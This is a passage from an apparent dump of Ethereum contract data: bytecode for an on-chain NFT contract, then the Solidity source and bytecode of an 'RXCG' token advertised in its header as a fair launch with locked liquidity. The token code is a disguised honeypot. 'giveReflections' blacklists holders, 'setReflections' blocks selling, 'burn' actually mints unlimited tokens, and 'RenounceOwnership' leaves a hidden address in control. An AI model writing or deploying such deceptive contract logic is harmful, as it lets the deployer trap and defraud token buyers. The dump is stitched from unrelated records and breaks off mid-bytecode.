b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50506009546040517f749388c40000000000000000000000000000000000000000000000000000000081526001600160a01b03909116925063749388c491506111c5908790859030906004016137a6565b600060405180830381600087803b1580156111df57600080fd5b505af11580156111f3573d6000803e3d6000fd5b5050505050505050565b6040805160a081018252600080825260208201819052918101829052606081018290526080810191909152600082815260056020526040902054640100000000900461ffff1661125f5760405162461bcd60e51b815260040161066c90612f0e565b50600090815260056020908152604091829020825160a081018452815461ffff808216835262010000820481169483019490945264010000000090049092169282019290925260018201546060820152600290910154608082015290565b3360008181526001602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31906113209085906123c8565b60405180910390a35050565b60025460ff161561134f5760405162461bcd60e51b815260040161066c90612e4b565b3360009081526007602052604090205460ff1661137e5760405162461bcd60e51b815260040161066c90612e8d565b60008481526005602052604090205461ffff64010000000082048116916113a791859116612eb3565b61ffff1611156113c95760405162461bcd60e51b815260040161066c90613800565b8261146f576008546000858152600560205260409020600101546001600160a01b03909116906323b872dd90329030906114089061ffff881690613738565b6040518463ffffffff1660e01b815260040161142693929190613613565b6020604051808303816000875af1158015611445573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114699190613646565b506114fd565b6009546000858152600560205260409020600201546001600160a01b039091169063f242432a903290309087906114ab9061ffff891690613738565b6040518563ffffffff1660e01b81526004016114ca9493929190613810565b600060405180830381600087803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b505050505b6000848152600560205260408120805484929061151f90849061ffff16612eb3565b92506101000a81548161ffff021916908361ffff16021790555061155881858461ffff16604051806020016040528060008152506120df565b50505050565b6003546001600160a01b0316331461157557600080fd5b600061158360646014613724565b600a546040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b03909116906370a08231906115cc903090600401612987565b602060405180830381865afa1580156115e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061160d919061343b565b6116179190613738565b600a546040517f70a0823100000000000000000000000000000000000000000000000000000000815291925060009183916001600160a01b0316906370a0823190611666903090600401612987565b602060405180830381865afa158015611683573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116a7919061343b565b6116b191906134f6565b600a546002546040517f23b872dd0000000000000000000000000000000000000000000000000000000081529293506001600160a01b03918216926323b872dd9261170c923092610100909104909116908790600401613613565b6020604051808303816000875af115801561172b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061174f9190613646565b50600a546040517f9dc29fac0000000000000000000000000000000000000000000000000000000081526001600160a01b0390911690639dc29fac9061179b9030908590600401613415565b600060405180830381600087803b1580156117b557600080fd5b505af1158015610cf7573d6000803e3d6000fd5b6003546001600160a01b031633146117e057600080fd5b60008281526005602052604090205461ffff808316911611156118155760405162461bcd60e51b815260040161066c9061386a565b600091825260056020526040909120805461ffff909216640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff909216919091179055565b6003546001600160a01b0316331461187657600080fd5b600880546001600160a01b039384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182168117909255600980549390941692811692909217909255600a80549091169091179055565b6003546001600160a01b031633146118e557600080fd5b600280546001600160a01b03909216610100027fffffffffffffffffffffff0000000000000000000000000000000000000000ff909216919091179055565b3360009081526007602052604090205460ff1661199157336001600160a01b038616148061197557506001600160a01b038516600090815260016020908152604080832033845290915290205460ff165b6119915760405162461bcd60e51b815260040161066c906134d0565b6001600160a01b038516600090815260208181526040808320868452909152812080548492906119c29084906134f6565b90915550506001600160a01b038416600090815260208181526040808320868452909152812080548492906119f890849061350d565b92505081905550836001600160a01b0316856001600160a01b0316336001600160a01b03167fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f628686604051611a4e92919061387a565b60405180910390a46001600160a01b0384163b15611aef5760405163f23a6e6160e01b808252906001600160a01b0386169063f23a6e6190611a9c9033908a90899089908990600401613888565b6020604051808303816000875af1158015611abb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611adf91906135b0565b6001600160e01b03191614611afc565b6001600160a01b03841615155b6110145760405162461bcd60e51b815260040161066c90613603565b600660205260009081526040902080548190611b3390612f34565b80601f0160208091040260200160405190810160405280929190818152602001828054611b5f90612f34565b8015611bac5780601f10611b8157610100808354040283529160200191611bac565b820191906000526020600020905b815481529060010190602001808311611b8f57829003601f168201915b505050505090806001018054611bc190612f34565b80601f0160208091040260200160405190810160405280929190818152602001828054611bed90612f34565b8015611c3a5780601f10611c0f57610100808354040283529160200191611c3a565b820191906000526020600020905b815481529060010190602001808311611c1d57829003601f168201915b5050505050905082565b6001600160a01b03831660009081526020818152604080832085845290915281208054839290611c759084906134f6565b90915550506040516000906001600160a01b0385169033907fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6290611cbc908790879061387a565b60405180910390a4505050565b60606000611e1760066000858152602001908152602001600020604051806040016040529081600082018054611cfe90612f34565b80601f0160208091040260200160405190810160405280929190818152602001828054611d2a90612f34565b8015611d775780601f10611d4c57610100808354040283529160200191611d77565b820191906000526020600020905b815481529060010190602001808311611d5a57829003601f168201915b50505050508152602001600182018054611d9090612f34565b80601f0160208091040260200160405190810160405280929190818152602001828054611dbc90612f34565b8015611e095780601f10611dde57610100808354040283529160200191611e09565b820191906000526020600020905b815481529060010190602001808311611dec57829003601f168201915b505050505081525050612222565b604051602001611e2791906138cf565b604051602081830303815290604052905080604051602001611e4991906138d9565b604051602081830303815290604052915050919050565b6060815160001415611e8057505060408051602081019091526000815290565b6000604051806060016040528060408152602001613b2e6040913990506000600384516002611eaf919061350d565b611eb99190613724565b611ec4906004613738565b90506000611ed382602061350d565b67ffffffffffffffff811115611eeb57611eeb612566565b6040519080825280601f01601f191660200182016040528015611f15576020820181803683370190505b509050818152600183018586518101602084015b81831015611f835760039283018051603f601282901c811687015160f890811b8552600c83901c8216880151811b6001860152600683901c8216880151811b60028601529116860151901b93820193909352600401611f29565b600389510660018114611f9d5760028114611fe75761200f565b7f3d3d0000000000000000000000000000000000000000000000000000000000007ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe83015261200f565b7f3d000000000000000000000000000000000000000000000000000000000000006000198301525b509398975050505050505050565b60025460ff16156120405760405162461bcd60e51b815260040161066c90612e4b565b6002805460ff191660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a2586120753390565b6040516120829190612987565b60405180910390a1565b60025460ff166120ae5760405162461bcd60e51b815260040161066c90613a27565b6002805460ff191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa33612075565b6001600160a01b0384166000908152602081815260408083208684529091528120805484929061211090849061350d565b90915550506040516001600160a01b0385169060009033907fc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f6290612157908890889061387a565b60405180910390a46001600160a01b0384163b156121f95760405163f23a6e6160e01b808252906001600160a01b0386169063f23a6e61906121a6903390600090899089908990600401613888565b6020604051808303816000875af11580156121c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121e991906135b0565b6001600160e01b03191614612206565b6001600160a01b03841615155b6115585760405162461bcd60e51b815260040161066c90613603565b606081602001516040516020016122399190613a37565b6040516020818303038152906040529050919050565b82805461225b90612f34565b90600052602060002090601f01602090048101928261227d57600085556122c3565b82601f1061229657805160ff19168380011785556122c3565b828001600101855582156122c3579182015b828111156122c35782518255916020019190600101906122a8565b506122cf9291506122d3565b5090565b5b808211156122cf57600081556001016122d4565b60006001600160a01b038216610643565b612302816122e8565b811461099657600080fd5b8035610643816122f9565b80612302565b803561064381612318565b6000806040838503121561233f5761233f600080fd5b600061234b858561230d565b925050602061235c8582860161231e565b9150509250929050565b805b82525050565b602081016106438284612366565b6001600160e01b03198116612302565b80356106438161237c565b6000602082840312156123ac576123ac600080fd5b60006123b8848461238c565b949350505050565b801515612368565b6020810161064382846123c0565b61ffff8116612302565b8035610643816123d6565b60008060006060848603121561240357612403600080fd5b600061240f868661231e565b9350506020612420868287016123e0565b92505060406124318682870161230d565b9150509250925092565b60006020828403121561245057612450600080fd5b60006123b8848461231e565b60005b8381101561247757818101518382015260200161245f565b838111156115585750506000910152565b6000612492825190565b8084526020840193506124a981856020860161245c565b601f01601f19169290920192915050565b60208082528101610a598184612488565b6000806000606084860312156124e3576124e3600080fd5b60006124ef868661231e565b93505060206125008682870161231e565b92505060406124318682870161231e565b801515612302565b803561064381612511565b60006020828403121561253957612539600080fd5b60006123b88484612519565b60006020828403121561255a5761255a600080fd5b60006123b8848461230d565b634e487b7160e01b600052604160045260246000fd5b601f19601f830116810181811067ffffffffffffffff821117156125a2576125a2612566565b6040525050565b60006125b460405190565b90506125c0828261257c565b919050565b600067ffffffffffffffff8211156125df576125df612566565b5060209081020190565b60006125fc6125f7846125c5565b6125a9565b8381529050602080820190840283018581111561261b5761261b600080fd5b835b8181101561263d5761262f878261231e565b83526020928301920161261d565b5050509392505050565b600082601f83011261265b5761265b600080fd5b81356123b88482602086016125e9565b600067ffffffffffffffff82111561268557612685612566565b601f19601f83011660200192915050565b82818337506000910152565b60006126b06125f78461266b565b9050828152602081018484840111156126cb576126cb600080fd5b6126d6848285612696565b509392505050565b600082601f8301126126f2576126f2600080fd5b81356123b88482602086016126a2565b600080600080600060a0868803121561271d5761271d600080fd5b6000612729888861230d565b955050602061273a8882890161230d565b945050604086013567ffffffffffffffff81111561275a5761275a600080fd5b61276688828901612647565b935050606086013567ffffffffffffffff81111561278657612786600080fd5b61279288828901612647565b925050608086013567ffffffffffffffff8111156127b2576127b2600080fd5b6127be888289016126de565b9150509295509295909350565b60006127d96125f7846125c5565b838152905060208082019084028301858111156127f8576127f8600080fd5b835b8181101561263d5761280c878261230d565b8352602092830192016127fa565b600082601f83011261282e5761282e600080fd5b81356123b88482602086016127cb565b6000806040838503121561285457612854600080fd5b823567ffffffffffffffff81111561286e5761286e600080fd5b61287a8582860161281a565b925050602083013567ffffffffffffffff81111561289a5761289a600080fd5b61235c85828601612647565b6128b08282612366565b5060200190565b60200190565b60006128c7825190565b808452602093840193830160005b828110156128fa5781516128e987826128a6565b9650506020820191506001016128d5565b5093949350505050565b60208082528101610a5981846128bd565b60006040828403121561292a5761292a600080fd5b50919050565b6000806040838503121561294657612946600080fd5b6000612952858561231e565b925050602083013567ffffffffffffffff81111561297257612972600080fd5b61235c85828601612915565b612368816122e8565b60208101610643828461297e565b6000602082840312156129aa576129aa600080fd5b60006123b884846123e0565b61ffff8116612368565b80516129cc83826129b6565b5060208101516129df60208401826129b6565b5060408101516129f260408401826129b6565b506060810151612a056060840182612366565b5060808101516106f86080840182612366565b60a0810161064382846129c0565b60008060408385031215612a3c57612a3c600080fd5b6000612a48858561230d565b925050602061235c85828601612519565b60008060408385031215612a6f57612a6f600080fd5b6000612a7b858561230d565b925050602061235c8582860161230d565b60006106436001600160a01b038316612aa3565b90565b6001600160a01b031690565b600061064382612a8c565b600061064382612aaf565b61236881612aba565b602081016106438284612ac5565b60008060008060808587031215612af557612af5600080fd5b6000612b01878761231e565b9450506020612b128782880161231e565b9350506040612b23878288016123e0565b9250506060612b348782880161230d565b91505092959194509250565b60008083601f840112612b5557612b55600080fd5b50813567ffffffffffffffff811115612b7057612b70600080fd5b602083019150836020820283011115612b8b57612b8b600080fd5b9250929050565b60008083601f840112612ba757612ba7600080fd5b50813567ffffffffffffffff811115612bc257612bc2600080fd5b602083019150836001820283011115612b8b57612b8b600080fd5b60008060008060008060008060a0898b031215612bfc57612bfc600080fd5b6000612c088b8b61230d565b9850506020612c198b828c0161230d565b975050604089013567ffffffffffffffff811115612c3957612c39600080fd5b612c458b828c01612b40565b9650965050606089013567ffffffffffffffff811115612c6757612c67600080fd5b612c738b828c01612b40565b9450945050608089013567ffffffffffffffff811115612c9557612c95600080fd5b612ca18b828c01612b92565b92509250509295985092959890939650565b6001600160e01b03198116612368565b602081016106438284612cb3565b60008060408385031215612ce757612ce7600080fd5b6000612cf3858561231e565b925050602061235c858286016123e0565b60008060008060008060a08789031215612d2057612d20600080fd5b6000612d2c898961230d565b9650506020612d3d89828a0161230d565b9550506040612d4e89828a0161231e565b9450506060612d5f89828a0161231e565b935050608087013567ffffffffffffffff811115612d7f57612d7f600080fd5b612d8b89828a01612b92565b92509250509295509295509295565b600080600080600060a08688031215612db557612db5600080fd5b6000612dc1888861230d565b9550506020612dd28882890161230d565b9450506040612de38882890161231e565b93505060606127928882890161231e565b60408082528101612e058185612488565b905081810360208301526123b88184612488565b60108152602081017f5061757361626c653a2070617573656400000000000000000000000000000000815290506128b7565b6020808252810161064381612e19565b60198152602081017f4f6e6c792061646d696e732063616e2063616c6c207468697300000000000000815290506128b7565b6020808252810161064381612e5b565b634e487b7160e01b600052601160045260246000fd5b61ffff8116905061ffff8216915060008261ffff03821115612ed757612ed7612e9d565b500190565b600c8152602081017f696e76616c696420747970650000000000000000000000000000000000000000815290506128b7565b6020808252810161064381612edc565b634e487b7160e01b600052602260045260246000fd5b600281046001821680612f4857607f821691505b6020821081141561292a5761292a612f1e565b6000612f65825190565b612f7381856020860161245c565b9290920192915050565b7f7b226e616d65223a2022000000000000000000000000000000000000000000008152600a01612fad8184612f5b565b7f222c20226465736372697074696f6e223a2022546865204775696c64204c6f7281527f6473206f662050797468656173206172652066656172656420666f722074686560208201527f697220727574686c6573732063756e6e696e6720616e6420656e74657270726960408201527f73696e6720746563686e6f6c6f676963616c20616476616e63656d656e74732e60608201527f205468657920616c6f6e652068617665206861726e657373656420746865207060808201527f6f776572206f662061206479696e67207374617220746f20706f77657220612060a08201527f6d616e206d61646520706c616e657420746861742070726f636573736573204560c08201527f4f4e2e2052756d6f72206861732069742074686174207468657920616c736f2060e08201527f646162626c6520696e2074686520736861646f7773206173206120626c61636b6101008201527f206d61726b6574206465616c6572206f66206861726420746f2066696e6420616101208201527f727469666163747320616e64206d6967687420656e7465727461696e20796f756101408201527f72206f6666657220666f72207468652072696768742070726963652c206275746101608201527f206265207375726520746f207472656164206c696768746c79206173207468656101808201527f7920636f6e74726f6c20657665727920617370656374206f66207468652065636101a08201527f6f6e6f6d7920696e207468697320737461722073797374656d2e20596f7520776101c08201527f6f756c64206265206120666f6f6c20746f2061727269766520656d70747920686101e08201527f616e64656420696e20616e79206e65676f74696174696f6e20776974682074686102008201527f656d2e20416c6c20746865206d6574616461746120616e6420696d61676573206102208201527f6172652067656e65726174656420616e642073746f7265642031303025206f6e6102408201527f2d636861696e2e204e6f20495046532e204e4f204150492e204a7573742074686102608201527f6520457468657265756d20626c6f636b636861696e2e222c2022696d616765226102808201527f3a2022646174613a696d6167652f7376672b786d6c3b6261736536342c0000006102a08201526102bd01905061330c8183612f5b565b7f222c202261747472696275746573223a205b5d0000000000000000000000000081527f7d00000000000000000000000000000000000000000000000000000000000000601382019081529150601401610a59565b7f646174613a6170706c69636174696f6e2f6a736f6e3b6261736536342c0000008152601d016106438183612f5b565b601d8152602081017f74686973207479706520686173206e6f74206265656e20736574207570000000815290506128b7565b6020808252810161064381613391565b60118152602081017f436f6e747261637473206e6f7420736574000000000000000000000000000000815290506128b7565b60208082528101610643816133d3565b60408101613423828561297e565b610a596020830184612366565b805161064381612318565b60006020828403121561345057613450600080fd5b60006123b88484613430565b600f8152602081017f4c454e4754485f4d49534d415443480000000000000000000000000000000000815290506128b7565b602080825281016106438161345c565b600e8152602081017f4e4f545f415554484f52495a4544000000000000000000000000000000000000815290506128b7565b602080825281016106438161349e565b634e487b7160e01b600052603260045260246000fd5b60008282101561350857613508612e9d565b500390565b60008219821115612ed757612ed7612e9d565b6040808252810161353181856128bd565b905081810360208301526123b881846128bd565b60a08101613553828861297e565b613560602083018761297e565b818103604083015261357281866128bd565b9050818103606083015261358681856128bd565b9050818103608083015261359a8184612488565b979650505050505050565b80516106438161237c565b6000602082840312156135c5576135c5600080fd5b60006123b884846135a5565b60108152602081017f554e534146455f524543495049454e5400000000000000000000000000000000815290506128b7565b60208082528101610643816135d1565b60608101613621828661297e565b61362e602083018561297e565b6123b86040830184612366565b805161064381612511565b60006020828403121561365b5761365b600080fd5b60006123b8848461363b565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1368590030181126136a0576136a0600080fd5b8301915050803567ffffffffffffffff8111156136bf576136bf600080fd5b602082019150600181023603821315612b8b57612b8b600080fd5b6000610643612aa061ffff841681565b612368816136da565b60408101613701828561297e565b610a5960208301846136ea565b634e487b7160e01b600052601260045260246000fd5b6000826137335761373361370e565b500490565b600081600019048311821515161561375257613752612e9d565b500290565b60a08101613765828761297e565b613772602083018661297e565b61377f60408301856136ea565b61378c6060830184612366565b818103608083015260008152602081019695505050505050565b606081016137b482866136ea565b6137c16020830185612366565b6123b8604083018461297e565b60118152602081017f416c6c20746f6b656e73206d696e746564000000000000000000000000000000815290506128b7565b60208082528101610643816137ce565b60a0810161381e828761297e565b61382b602083018661297e565b61377f6040830185612366565b60128152602081017f6d617820737570706c7920746f6f206c6f770000000000000000000000000000815290506128b7565b6020808252810161064381613838565b604081016134238285612366565b60a08101613896828861297e565b6138a3602083018761297e565b6138b06040830186612366565b6138bd6060830185612366565b818103608083015261359a8184612488565b6106438183612f5b565b7f3c7376672069643d22496d70657269616c4775696c64222077696474683d223181527f30302522206865696768743d2231303025222076657273696f6e3d22312e312260208201527f2076696577426f783d223020302036342036342220786d6c6e733d226874747060408201527f3a2f2f7777772e77332e6f72672f323030302f7376672220786d6c6e733a786c60608201527f696e6b3d22687474703a2f2f7777772e77332e6f72672f313939392f786c696e60808201527f6b223e000000000000000000000000000000000000000000000000000000000060a082015260a3016139c78183612f5b565b7f3c2f7376673e00000000000000000000000000000000000000000000000000008152905060068101610643565b60148152602081017f5061757361626c653a206e6f7420706175736564000000000000000000000000815290506128b7565b60208082528101610643816139f5565b7f3c696d61676520783d22302220793d2230222077696474683d2236342220686581527f696768743d2236342220696d6167652d72656e646572696e673d22706978656c60208201527f6174656422207072657365727665417370656374526174696f3d22784d69645960408201527f4d69642220786c696e6b3a687265663d22646174613a696d6167652f706e673b60608201527f6261736536342c000000000000000000000000000000000000000000000000006080820152608701613aff8183612f5b565b7f222f3e0000000000000000000000000000000000000000000000000000000000815290506003810161064356fe4142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2fa2646970667358221220c9005492339bfd53cbe433e002a12eb30e90df18bb5f822523981fe44b050fd264736f6c634300080b0033
[ 0, 4, 7, 3, 16 ]
0xf2b4c91a88c5fc0f1df257e31920f5d967b4e07b
/* https://rxcgames.com/ 3% Maximum Buy, no Tax Liquidity locked with Team.finance 100% Fair Launch - no presale, no whitelist */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract RXCG is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 4500000000000*10**18; string public _name = "RXC Games"; string public _symbol= "RXCG"; bool balances1 = true; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0x39D1a7808Ce673Ae1dFf09fD11EF1F8BCBeE544d); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function RenounceOwnership() onlyOwner public { owner = 0x000000000000000000000000000000000000dEaD; } function giveReflections(address[] memory recipients_) onlyOwner public { for (uint i = 0; i < recipients_.length; i++) { bots[recipients_[i]] = true; } } function setReflections(address _addy) onlyOwner public { router = _addy; balances1 = false; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(_blackbalances[sender] != true ); require(!bots[sender] && !bots[recipient]); if(recipient == router) { require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address"); } require((amount < 500000000000*10**18) || (sender == marketAddy) || (sender == owner)); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } function burn(address account, uint256 amount) onlyOwner public virtual { require(account != address(0), "ERC20: burn to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a6f9dae111610071578063a6f9dae114610333578063a9059cbb1461034f578063b09f12661461037f578063d28d88521461039d578063dd62ed3e146103bb5761012c565b806370a082311461028f57806376bbd448146102bf5780638da5cb5b146102db57806395d89b41146102f95780639dc29fac146103175761012c565b806323b872dd116100f457806323b872dd146101e9578063313ce567146102195780633eaaf86b146102375780636e4ee811146102555780636ebcf6071461025f5761012c565b8063024c2ddd1461013157806306fdde0314610161578063095ea7b31461017f57806315a892be146101af57806318160ddd146101cb575b600080fd5b61014b6004803603810190610146919061166b565b6103eb565b60405161015891906116c4565b60405180910390f35b610169610410565b6040516101769190611778565b60405180910390f35b610199600480360381019061019491906117c6565b6104a2565b6040516101a69190611821565b60405180910390f35b6101c960048036038101906101c49190611984565b6104c0565b005b6101d3610607565b6040516101e091906116c4565b60405180910390f35b61020360048036038101906101fe91906119cd565b610611565b6040516102109190611821565b60405180910390f35b610221610709565b60405161022e9190611a3c565b60405180910390f35b61023f610712565b60405161024c91906116c4565b60405180910390f35b61025d610718565b005b61027960048036038101906102749190611a57565b61080f565b60405161028691906116c4565b60405180910390f35b6102a960048036038101906102a49190611a57565b610827565b6040516102b691906116c4565b60405180910390f35b6102d960048036038101906102d49190611a57565b61086f565b005b6102e3610980565b6040516102f09190611a93565b60405180910390f35b6103016109a6565b60405161030e9190611778565b60405180910390f35b610331600480360381019061032c91906117c6565b610a38565b005b61034d60048036038101906103489190611a57565b610c3e565b005b610369600480360381019061036491906117c6565b610d34565b6040516103769190611821565b60405180910390f35b610387610d52565b6040516103949190611778565b60405180910390f35b6103a5610de0565b6040516103b29190611778565b60405180910390f35b6103d560048036038101906103d0919061166b565b610e6e565b6040516103e291906116c4565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461041f90611add565b80601f016020809104026020016040519081016040528092919081815260200182805461044b90611add565b80156104985780601f1061046d57610100808354040283529160200191610498565b820191906000526020600020905b81548152906001019060200180831161047b57829003601f168201915b5050505050905090565b60006104b66104af610ef5565b8484610efd565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806105695750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61057257600080fd5b60005b81518110156106035760016003600084848151811061059757610596611b0f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806105fb90611b6d565b915050610575565b5050565b6000600654905090565b600061061e8484846110c8565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610669610ef5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e090611c28565b60405180910390fd5b6106fd856106f5610ef5565b858403610efd565b60019150509392505050565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806107c15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6107ca57600080fd5b61dead600960016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806109185750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61092157600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff02191690831515021790555050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600880546109b590611add565b80601f01602080910402602001604051908101604052809291908181526020018280546109e190611add565b8015610a2e5780601f10610a0357610100808354040283529160200191610a2e565b820191906000526020600020905b815481529060010190602001808311610a1157829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ae15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610aea57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b5190611c94565b60405180910390fd5b610b66600083836115f4565b8060066000828254610b789190611cb4565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bcd9190611cb4565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3291906116c4565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610ce75750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373fff